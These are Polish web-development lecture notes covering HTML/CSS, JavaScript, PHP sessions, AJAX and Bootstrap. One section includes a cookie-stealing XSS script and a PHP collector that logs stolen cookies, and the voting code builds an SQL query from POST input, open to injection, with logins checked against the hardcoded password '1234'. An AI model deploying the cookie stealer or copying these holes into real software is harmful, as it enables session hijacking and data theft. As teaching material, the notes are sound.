Omówiony materiał
2016-02-26: Wprowadzenie i pierwsza strona
- Terminologia:
- Web page: strona WWW
- Web site: serwis, witryna, portal
- selektory CSS: selektor{właściwość: wartość; ...}
- Elementy historii HTML i CSS:
- 1980: Tim Berners-Lee (CERN); ENQUIRE (system napisany w języku PASCAL; chodził na norweskiej maszynie NORD-10; jeden program miał do dyspozycji 64kB pamięci).
- 1991: Tim Berners-Lee; HTML TAGS (HTML 1)
- 1994: powstaje World Wide Web Consortium (W3C)
- 1994: HTML 2
- 1997: HTML 3
- 1999: HMML 4
- 2008: HTML 5
- Podstawowy szablon strony HTML5:
<!DOCTYPE html> <html lang="pl"> <head> <meta charset="utf-8"> <title>Tytul strony</title> </head> <body> </body> </html>
Strony i arkusze zapisujmy w formacie utf-8 (bez BOM). - Znaczniki semantyczne:
- Model pudełkowy
- Elementy projektowania wyglądu strony:
- Ustalenie modelu elementów semantycznych dla startych przeglądarek:
article, aside, figure, footer, header, menu, nav, section { display: block; }
- Ustalenie sposobu mierzenia pubdełek:
* {box-sizing: border-box;}
Uwaga: to jest dosyć radykalne rozwiązanie. - Klasa .row realizująca "clearfix":
.row:after { content: ""; display: block; clear: both; height:0; visibility:hidden; }
- Organizacja glównej części pierwszej strony (z Zadania 1):
- HTML:
<div class="row"> <div id="leftMenu"> ... </div> <div id="content"> ... </div> </div>
- CSS:
#leftMenu{ float:left; width: 33.33333%; ...} #content { float:left; width: 66.66666%; ...}
- HTML:
- CSS - prefiksy przeglądarek:
- Android: -webkit-
- Chrome: -webkit-
- Firefox: -moz-
- Internet Explorer: -ms-
- iOS: -webkit-
- Opera: -o-
- Safari: -webkit-
- Ustalenie modelu elementów semantycznych dla startych przeglądarek:
2016-02-26: DOM i selektory css
- Analiza DOM i upraszczanie struktury dokumentu i arkuszy css.
- Link do strony z selektorami: css_selectors
- Specyficzność selektórów CSS; strona do testowania Specificity.html
- Style responsywne:
- NAGŁOWEK <meta name="viewport" content= "width=device-width, initial-scale=1.0"/>
- MEDIA QUERY; przykład @media screen and (min-width: 640px) { ....}
- Mobile First: najpierw planuj/wczytaj css dla najmniejszej rozdzielczości, a potem dla coraz większych.
- Przełączanie widoczności elementu:
function toggleMenu(){ var el = document.getElementById("leftMenu"); if (el.style.display != 'block'){ el.style.display = 'block'; } else { el.style.display = 'none'; } } window.onload = function(){ document.getElementById("showMenu").onclick = toggleMenu; //document.getElementById("showMenu").addEventListener("click", toggleMenu); }
2016-03-18: Zasady kompozycji. Grid. Javascript.
- Złota proporcja
- Zasada podziału trójkowego
- Metody budowania gridów. Strona GridTest na której możesz znaleźć omówiony na wykładzie 6-kolumnowy prosty grid-system
- Krótki wykład: Gary Bernhardt'a z CodeMash 2012
- Typ Numbers w Javascript
1/0 --> Infinity -1/0 --> -Infinity 1/0-1/0 --> NaN typeof(NaN) --> 'Number' 0.1+0.2 --> 0.30000000000000004 0.1+0.2 == 0.3 --> false
- Fragment kodu Javascript
function nwd(a,b){ var S; var c; S = ""; while (b != 0){ S = S + "(" + a + "," + b + ") --> \n" c = a; a = b; b = c % b; } S = S + a; return S; } nwd(25,10) console.log(S);
2016-04-01: Javascript.
- Lexical scoping: wszystkie zmienne w ciele funkcji są widoczne w każdym miejscu funkcji
- Hoisting (windowanie): deklaracje zmiennych (za pomocą
var
) oraz funkcje definiowane za pomocą poleceniefunction
są windowane na początek funkcji.
Przykład: nastepujące kody sa równoważne:function f(a){ for (var i=0;i<5;i++){ var x = i*a; }; var b = 3; return b+x; }
function f(a){ var i,x,b; for (i=0;i<5;i++){ x = i*a; }; b = 3; return b+x; }
- Każda funkcja dysponuje obiektem
arguments
. Jest topseudo-array
. Przykład:function sumOfSquares(){ var S=0; for(var i =0;i<arguments.length;i++){ S = S + arguments[i] * arguments[i]; }; return S; } console.log(sumOfSquares(1,2,3,4,5));
- Closure: funkcja z łańcuchem
lexical enviroments
. - Przykład (Function Factory):
function adder(base){ function add(x){ return base+x; }; return add; } var add10 = adder(10); var add20 = adder(20); console.log(add10(5)); // wynik: 15 console.log(add20(5)); // wynik: 25
- Obiekty: konstrukcja bezpośrednia i za pomocą "funkcji konstruktora".
- Przykład: Licznik
function counter(){ var L =0; function increase(){ L++ }; function show(){ return L; } return { inc: increase, get: show } } var C1 = counter(); var C2 = counter(); C1.inc();C1.inc();C1.inc();C1.inc(); C2.inc();C2.inc(); console.log(C1.get()); console.log(C2.get());
- Konkretne wykorzystanie: TabSort.html
2016-04-08: PHP - I.
- Zasada C.R.A.P: Wizytówka
- Przejrzyj książkę The non-designer’s design Book Robina williamsa
- Wprowadzenie do PHP
- Klasa z szablonem stron
<?php
//MODEL
$STRONY = [
['id'=>1, 'name'=>"NWD", 'href'=>"nwd.php", "class"=>"nwd"],
['id'=>2, 'name'=>"ExtNWD", 'href'=>"extnwd.php", "class"=>"extnwd"],
['id'=>3, 'name'=>"Quick Sort", 'href'=>"qsort.php", "class"=>"qsort"],
['id'=>4, 'name'=>"Merge Sort", 'href'=>"msort.php", "class"=>"msort"]
];
//VIEW
$HEADER =<<<EOT
<!DOCTYPE html>
<html lang="pl">
<head>
<meta charset="utf-8">
<title>{{TITLE}}</title>
<meta name="description" content= "Pierwsze zabawy z PHP">
<meta name="keywords" content= "WPPT, PWr, programy, algorytmy, PHP">
<meta name="viewport" content= "width=device-width, initial-scale=1.0"/>
<link href="css/prog.css" rel="stylesheet">
</head>
<body>
<div class="pagecontainer">
<div id="MAINMENU">
<ul>
{{ITEMS}}</ul>
</div>
EOT;
$FOOTER = <<<EOT
</div>
</body>
</html>
EOT;
//CONTROLLER
class Page{
private $id = -1;
private $Title= "";
/**
* Konstruktor .
* @param int $id Numer modułu.
* @param string $T Title
*/
function __construct($id, $T){
$this->id = $id;
$this->Title = $T;
}
/**
* Funkcja służąca do budowy menu.
* @return string Menu zbudowane z.$STRONY
*/
private function Menu(){
global $STRONY;
$ITEM = "<li><a href='{{HREF}}' class= '{{CLASS}}'>{{NAME}}</a></li>";
$ACTIVE = "<li><a href='javascript:void(0);' class= '{{CLASS}}'>{{NAME}}</a></li>";
$S = "";
for ($i=0; $i<count($STRONY); $i++){
if ( (int) $STRONY[$i]["id"] == $this->id){
$T= $ACTIVE;
} else {
$T= (string) str_replace("{{HREF}}", (string) $STRONY[$i]["href"], $ITEM);
};
$T = (string) str_replace("{{CLASS}}", (string) $STRONY[$i]["class"], $T);
$T = (string) str_replace("{{NAME}}" , (string) $STRONY[$i]["name"], $T);
$S.= $T . "\n";
}
return $S;
}
/**
* Początek strony
* @return string Kod nagłówka i początku strony.
*/
public function Begin(){
global $HEADER;
$S = (string) str_replace("{{TITLE}}", $this->Title, $HEADER);
$S = (string) str_replace("{{ITEMS}}", $this->Menu(), $S);
return $S;
}
/**
* Koniec strony
* @return string Kod końca strony.
*/
public function End(){
global $FOOTER;
return $FOOTER;
}
}
?><?php
require_once("Page03.php");
$P = new Page(1,"Bardzo głupie zastosowanie");
echo $P->Begin();
?>
<h1>NWD</h1>
<p>
To jest test strony.
</p>
<?php echo $P->End(); ?>
2016-04-15: PHP-II
- Elementy teorii kolorów: Kolory
- Artykuł o psychologii kolorów
- Ustawienie dostępu do MySQL (MariaDB): Po zainstalowaniu XAMPP uzytkownik "root" ma hasło puste.
Zmiana hasła do obiektu root:- Uruchom apache i mysql
- Przejdź do katalogu c:/xampp/mysql/bin
- W konsoli uruchom mysqladmin -u root password 1234
- Przejdź do katalogu c:/xampp/phpMyAdmin
- W pliku config.inc.php zmień linijki:
§cfg['Servers'][§i]['auth_type'] = 'config';
§cfg['Servers'][§i]['password'] = '';
na
§cfg['Servers'][§i]['auth_type'] = 'cookie';
§cfg['Servers'][§i]['password'] = '1234';
- Uruchom (np. z konsoli XMMPP) program phpMyAdmin (przycisk Admin w linijce MySQL)
- Zaloguj się jako użytkownik root z hasłem 1234
- Metody nawiązania łączności z bazą danych
- Plik z programami omawianymi na wykładzie: Bazy01.zip. W pliku InsertOsoby.sql znajduje się skrypt do zaimportowania danych do tabeli "kadra" bazy o nazwie "WPPT". Przy zakładaniu bazy pamiętaj o formacie innoDB oraz o ustawieniu "Collation" na utf8_polish_ci. Zastosowany format pół: NICK: char(4), Imie: varchar(25), Nazwisko: varchar(35), Tytul: char(3), Stanowisko: char(4), Pokoj: char(10).
2016-04-22: Fonty, Javascriot i PHP.
- Elementy teorii fontów: główne grupy fontów
- Artykuł o pionowym rytmie strony
- Kod który użyłem do wyrównania wysokości trzech sąsiadujących elementów na stronie:
function alignMyDivs(){ var els = [document.getElementById("col1"), document.getElementById("col2"), document.getElementById("col3")]; //Niech przegladarka sama przeliczy potrzebne wysokości for (var i=0;i<els.length;i++){ els[i].style.height = "auto"; } //Wyznaczamy maksimum z wysokości var h = 0; for (i=0; i<els.length; i++){ h = Math.max(h,els[i].clientHeight); } //Ustawiamy sami wysokości for (var i=0;i<els.length;i++){ els[i].style.height = h + "px"; } } window.onload = function(){ alignMyDivs(); window.onresize = alignMyDivs; }
- Omówiliśmy też początek budowy strony z blogiem. Tu znajdują się spakowane pliki z tym co pokazywałem na wykładzie: blog0.zip. Ważna rzecz: do zapisywanie informacji pobranych ze strony do bazy danych użyliśmy tzw. "prepared queries".
2016-04-29: CRUD, REST i SASS
- Przerobienie bloga do pełnego serwisu C.R.U.D.:
- Włączenie mechanizmu przepisywanie w Apache. W pliku httpd.conf:
- plik pliku httpd.conf: odkomentuj linijkę
# LoadModule rewrite_module modules/mod_rewrite.so
- plik httpd.conf: zastąp linijkę
# AllowOverride none
wpisemAllowOverride All
- Załóż w katalogu z plikami php plik tekstowy
.htaccess
z taką zawartością:RewriteEngine on RewriteRule ^Osoby$ apiOsoby.php [L] RewriteRule ^Osoby/([^/.]+)/?$ apiOsoby.php?NICK=$1 [L]
- plik pliku httpd.conf: odkomentuj linijkę
- Wzorzec programowy REST i przykład korzystania z WEB serwera: UseApiOsoby.php
- Kody wszystkich plików PHP omawiane nw wykładzie: bazy29042016.zip
- Wprowadzenie do SASS'a: guide, podstawy-sass
- Plik gulpfile.js organizujący pracę gulpa (obserwuje pliki test01/scss/*.scss; jeśli
wykryje zmianę to odpala skrypt o nazwie 'sass', który kompiluje plik test01/scss/master.scss i przerabia go na plik test01/css/master.css):
var gulp = require('gulp'); var sass = require('gulp-sass'); gulp.task('hello', function() { console.log('>>>>>>>>>>>'); console.log('Hello Jacek'); }); var sassOptions = { errLogToConsole: true, outputStyle: 'expanded' }; gulp.task('sass', function(){ return gulp.src('test01/scss/master.scss') .pipe(sass(sassOptions)) .on('error', sass.logError) .pipe(gulp.dest('test01/css')); }); gulp.task('obserwuj',function() { gulp.watch('test01/scss/*.scss',['sass']) .on('change', function(event) {console.log('File ' + event.path + ' was ' + event.type);}); });
Uruchomienie:gulp obserwuj
(z konsoli) z katalogu w którym znajduje się ten plik. - Podłączenie biblioteki MathJax (do wyświetlania Latex'a na stronach WWW):
<head> .... <script type="text/x-mathjax-config"> MathJax.Hub.Config({ extensions: ["tex2jax.js"], jax: ["input/TeX", "output/HTML-CSS"], tex2jax: { inlineMath: [['$','$']], displayMath: [['$$','$$']], processEscapes: true }, "HTML-CSS": { availableFonts: ["TeX"]} }); </script> <script type="text/javascript" src="http://cdn.mathjax.org/mathjax/latest/MathJax.js?config=TeX-AMS-MML_HTMLorMML"> </script> .... </head>
2016-05-06: AJAX, COOKIES, SESJE
- Prosty licznik wizyt
class Counter{ private $counter = 1; function __construct(){ $filePath = "counter.txt"; if (file_exists($filePath)){ $handle = fopen($filePath, "r"); $counter = (int) fread($handle,20); fclose ($handle); $counter++; $handle = fopen($filePath, "w" ); fwrite($handle,$counter) ; fclose($handle); $this->counter = $counter; } else { $handle = fopen($filePath, "w"); fwrite($handle,$this->counter) ; fclose($handle); } } function Get(){ return $this->counter; } }
- Ajax'owe głosowania
... <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.12.2/jquery.min.js"></script> ... <div class="tablica"> <div class='votes_count' id= 'votes_count'> <?php echo WynikGlosowania("EuclidJCI"); ?> </div> <div class='vote_buttons' id = 'vote_buttons'> Oceń: <a href='javascript:;' id = 'vote_up' class="vote_button">☝</a> <a href='javascript:;' id = 'vote_down' class="vote_button">☟</a> </div> </div> ... <script> $(function(){ var theId = 'EuclidJCI'; $("#vote_up").click(function(){ $(this).parent().html("↝"); //wywołanie ajax'a $.ajax({ type: "POST", data: "action=vote_up&id="+theId, url : "votes.php", success: function(msg) { $("#votes_count").html(msg); $("#vote_buttons").remove(); } }); }); // tu oprogramuj samodzielnie #vote_down } </script>
Plik votes.php:<?php require_once("PHP/MyDatabase.php"); function ZwiekszNaTak($Id){ $db = myDB(); $stmt = $db->prepare("UPDATE votes SET Up = Up+1 WHERE Id = ?"); $stmt-> bind_param("s", $Id); $stmt -> execute(); } function ZwiekszNaNie($Id){ $db = myDB(); $stmt = $db->prepare("UPDATE votes SET Down = Down+1 WHERE Id = ?"); $stmt-> bind_param("s", $Id); $stmt -> execute(); } function WynikGlosowania($Id){ $db = myDB(); $res = myDbSelect($db,"SELECT * FROM votes WHERE Id='$Id';"); $up = (int)$res[0]['Up']; $down= (int)$res[0]['Down']; return "Tak: $up, Nie: $down; Wynik: ". ($up-$down); } $Id = (isset($_POST['id'])?$_POST['id']:""); $action = (isset($_POST['action'])?$_POST['action']:""); if ($Id!==""){ switch ($action) { case "vote_up": ZwiekszNaTak($Id); echo WynikGlosowania($Id); break; case "vote_down": ZwiekszNaNie($Id); echo WynikGlosowania($Id); break; default: echo "Bład"; } } ?>
- Tablica znaków specjalnych HTML: A-Z HTML Codes
- Wykorzystanie COOKIES do kontroli wersji językowej strony
<?php $lang = "pl"; if (isset($_GET['lang'])){ $lang = $_GET['lang']; setcookie('lang',$lang); } elseif (isset($_COOKIE['lang'])){ $lang = $_COOKIE['lang']; } ?> <!DOCTYPE html> <html lang="pl"> <head> <meta charset="utf-8"> </head> <body> <?php if ($lang==="pl") { echo file_get_contents("Templates/CookiePL.html"); } else { echo file_get_contents("Templates/CookieEN.html"); } ?> </body> </html>
Uwaga: setcookie(...) musi być wywołane przed wygenerowaniem pierwszego napisu na stronie. - SESJE PHP
- STRONA STARTOWA (plik login/NormalPage.php)
... <h1>Normalna strona</h1> <p>Jesteś na normalnej stronie.</p> <a href="login.php">Zaloguj się</p> ...
- Plik login/Sesja.php
<?php namespace SESJA; function CheckUser(){ //utrudniamy życie hakerom: w naglowku się nie uda przesłać info; if (!( isset($_POST['user']) and isset($_POST['password']) )){ return false; } $NICK = $_POST['user']; $PASS = $_POST['password']; //To trzeba zastąpić porządnym sprawdzeniem if ($PASS==='1234'){ $time = 60*60; session_set_cookie_params($time); //czas w sekundach session_start(); $_SESSION['NICK'] = $NICK; $_SESSION['Imie'] = "Jacek"; $_SESSION['Nazwisko'] = 'Cichoń'; return true; } else { return false; } } function CheckSession(){ session_start(); return isset($_SESSION['NICK']); } function StopSession(){ session_start(); $params = session_get_cookie_params(); session_unset(); session_destroy(); setcookie(session_name(), '', 1, $params['path'], $params['domain'], $params['secure'], isset($params['httponly']) ); } ?>
Uwaga: Wykorzystaliśmy mechanizmnamespace
. Mogliśmy zamiast tego zbudować obiekt opakowujący powyższe funkcje.
Uwaga: Na nastepnym wykładzie wzmocnimy mechanizmy zabezpieczenia sesji. - Plik login/login.php
<?php require_once("PHP/Session.php"); if (isset($_GET['check'])){ if (SESJA\CheckUser()){ header("location: https://" . $_SERVER['HTTP_HOST'] ."/login/SecurePage.php"); } else { header("location: http://" . $_SERVER['HTTP_HOST'] . "/login/login.php?error=login"); } } if (isset($_GET['logout'])){ SESJA\StopSession(); header("location: http://" . $_SERVER['HTTP_HOST'] . "/login/NormalPage.php"); } $blad = isset($_GET['error']); ?> <!DOCTYPE html> <html lang="pl"> <head> <meta charset="utf-8"> <title>Login page</title> </head> <body> <h1>Logowanie do systemu</h1> <?php if ($blad){ echo "<p class='error'>Błąd logowania</p>"; } ?> <form method="post" action="https://127.0.0.1/login/login.php?check=user" id="forma"> <label for="fUser">Użytkownik</label> <input type="text" name = "user" size="40" maxlength="40" placeholder="Twój NICK" required id="fUser"> <br> <label for = "fPass">Hasło</label> <input type="password" name = "password" size="40" maxlength="40" placeholder="Twoje hasło" required id="fPass"> <br><br> <input type="submit" class="button" value="Zaloguj się"> </form> </body> </html>
Uwaga: aby kod był czytelny, usunąłem z niego wszyskie ozdobniki stylistyczne. - Plik login/SecurePage.php
<?php require_once("PHP/Session.php"); if (!SESJA\CheckSession()){ header("location: login.php"); } ?> <!DOCTYPE html> <html lang="pl"> <head> <meta charset="utf-8"> <title>Secure page</title> </head> <body> <h1>Witaj na <small>stosunkowo</small> bezpiecznej stronie</h1> <?php echo "<p>Witaj " . $_SESSION['Imie'] . " " . $_SESSION['Nazwisko'] . "</p>"; ?> <p>Jesteś na dosyć bezpiecznej stronie.</p> <a href="login.php?logout">Wyloguj się</p> </body> </html>
Ważne: Sprawdzenie, czy sesja jest poprawnie ustawiona powinno się odbywać na początku plików uruchaminaych w obrebie sesji.
- STRONA STARTOWA (plik login/NormalPage.php)
2016-05-13: SESJE, AJAX
- Trochę ulepszona sesja
namespace SESJA; //sprawdzamy, czy połączenie jest typu https; function isSecure() { return (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') || $_SERVER['SERVER_PORT'] == 443; } function CheckUser(){ //utrudniamy życie hakerom: w naglowku się nie uda przesłać info; if (!(isset($_POST['user']) and isset($_POST['password']))){ return false; } //chcemy mieć dostęp tylko w trybie https if (!isSecure()){ return false; } $NICK = (string)$_POST['user']; $PASS = (string)$_POST['password']; if ($PASS==='1234'){ //to trzeba zastąpić swoim własnym mechanizmem $time = 60*60; $path = "/"; $domain = $_SERVER['SERVER_NAME']; $secure = true; //tylko https $http = true; //tylko http; javascript nie będzie się mógł łatwo dobrać session_set_cookie_params ($time, $path, $domain, $secure, $http); session_start(); $_SESSION['NICK'] = $NICK; //To warto zatrzymać w sesji; nie będzie trzeba często sięgać do bazy $_SESSION['Imie'] = "Jacek"; $_SESSION['Nazwisko'] = "Cichoń"; return true; } else { return false; } } function CheckSession(){ session_start(); return isSecure() && isset($_SESSION['NICK']); } function StopSession(){ session_start(); $params = session_get_cookie_params(); session_unset(); session_destroy(); setcookie(session_name(), '', 1, $params['path'], $params['domain'], $params['secure'], isset($params['httponly']) ); }
- Parametry curl: curl -v -k https://127.0.0.01/bazy/login.php
- Cykliczne odświerzanie elementów
<script> $.ajaxSetup({ cache: false }); function UpdateNews(){ $("#News").load("komunikat.php"); //$("#News").load("komunikat.php" + "?" + new Date().getTime()); } $( document ).ready(function() { UpdateNews(); myTimer = setInterval(UpdateNews, 10000); }); </script>
- Dwa sposoby odświerzania elementów:
- setTimeout(function, milliseconds): wywołanie funkcji, po odczekaniu określonej liczby milisekund.
- setInterval(function, milliseconds): podobne do setTimeout(), ale wywołuje funkcję cyklicznie.
- Rysowanie na canvas. Przykład: Clock
- Skrypt do wydobycia cookies ze źle zabezpieczonej strony
<script> $.ajax({ type: "GET", data: "c="+document.cookie, url : "http://127.0.0.1/bazy/storecookie.php", success: function(msg) { } }); </script>
oraz plik zbierający wydobyte cookies<?php; if (isset($_GET["c"])){ $txt = $_GET["c"]; $myfile = file_put_contents('skradzinecookies.txt', $txt.PHP_EOL , FILE_APPEND); $url= $_SERVER['HTTP_REFERER']; mail( 'jacek.cichon@pwr.edu.pl', 'Złapaliśmy nastepnego!', "Idź do $uri i zastosuj $cookie." ); } ?>
- Wykorzystanie modułu
cleanCSS
do minimalizacji plików cssgulp.task('minify-simple', function() { return gulp.src('simple/css/*.css') .pipe(cleanCSS({compatibility: 'ie8'})) .pipe(gulp.dest('simple/dist')); });
- Google Closure Compiler. Przepuśćcie swoje pliki javascript przez Closure Compiler: pewnie sporo się nauczycie.
2016-05-20: COOKIES, SESJE, AJAX, CHAT
- Ograniczenia prawne związane ze stosowaniem cookies.
- Modele bezpiecznych serisów internetowych. Model Bell-LaPadula
- Prosty chat oparty o javascript i php. Spakowane pliki: chat.zip
2016-05-27: COOKIES, autoprefixer, modernizer
- Link do dosyć prostego skryptu informującego o stosowaniu cookies: jquery-cookiebar.
- Przykład użycia jquery-cookiebar:
<html lang="pl"> <head> <meta charset="utf-8"> <script src="js/jquery-1.12.3.min.js"></script> <script src="js/jquery.cookiebar.js"></script> .... </head> <body> .... <script type="text/javascript"> $(document).ready(function(){ $.cookieBar({ message:"We use cookies to store users language preferences.", bottom: true }); }); </script> </body> </html>
- Skrypt gulpa uruchamiający autoprefixer'a (fragment zbioru gulpfile.js):
gulp.task('autoprefixer', function () { var postcss = require('gulp-postcss'); var sourcemaps = require('gulp-sourcemaps'); var autoprefixer = require('autoprefixer'); return gulp.src('simple/css/*.css') .pipe(sourcemaps.init()) .pipe(postcss([ autoprefixer({ browsers: ['last 2 versions'] }) ])) .pipe(sourcemaps.write('.')) .pipe(gulp.dest('simple/dest')); });
- Link do modernizer'a: modernizr.com
-
Przykład wykorzystania modernizer'a:
<!DOCTYPE html> <html lang="pl" class="no-js"> <head> .... <script src="js/modernizr-custom.js"></script> <script src='js/Logo.js'></script> </head> <body> ... <div id="logo"></div> ... <script> window.onload = function(){ var logo = document.getElementById("logo"); if (Modernizr.canvas) { var canvas = document.createElement("canvas"); canvas.setAttribute("id", "canvas"); logo.appendChild(canvas); window.addEventListener("resize", drawLogo); drawLogo(); } else { var img= document.createElement("img"); img.src = "img/InfWPPT.png"; img.style.width="100%"; img.style.height="auto"; logo.appendChild(img); } }; </script> </body> </html>
-
Przykład tooltipa (mało uniwersalnego) zrealizowanego za pomocą czystego css:
... <style> ... .button { background-color: #C00; border: none; color: white; padding: 0.5em; text-align: center; text-decoration: none; display: inline-block; font-size: 1em; margin: 4px 2px; cursor: pointer; } [class~="tooltip"]{position:relative;} [class~="tooltip"]:after{ position: absolute; visibility:hidden; content: attr(data-tooltip); background: #000; color: #ff0; padding: 0.5em 0.75em; z-index:100; top: 1.5em; white-spaceX: nowrap; border-radius: 0.5em; } [class~="tooltip"]:hover:after { display: block; visibility: visible; } </style> .... <a class="button tooltip" href="CheckCookie.php?lang=en" data-tooltip = "We will use cookies to store your language preferences">eng</a> ...
- Can I Use It?
- Statystyki przeglądarek
2016-06-03: BOOTSTRAP
- Link do Zurb Foundation
- Link do Bootstrap'a
- Link do Bootstrap 3 Tutorial; powinniście samodzielnie przerobić wszystkie przykłady z tej strony zanim zaczniecie stosować bootstrapa do celów profesjonalnych !!!
- Strona którą bawiliśmy się na wykładzie, z przykładami możliwości Bootstrap'a: jumbo.html (to jest strona zrobiona mało profesjonalnie; służy tylko do celów demonstracyjnych; większość kodu pochodzi z W3School)
- Druga strona z wykładu: afix.html
- Rozmiary plików:
- bootstrap.min.css: 121 260 by
- bootstrap.min.js: 36 868 by
- jquery-1.12.3.min.js: 97 180 by
To jest koszt, który płacicie na starcie : 229 308 by, czyli 224 kB.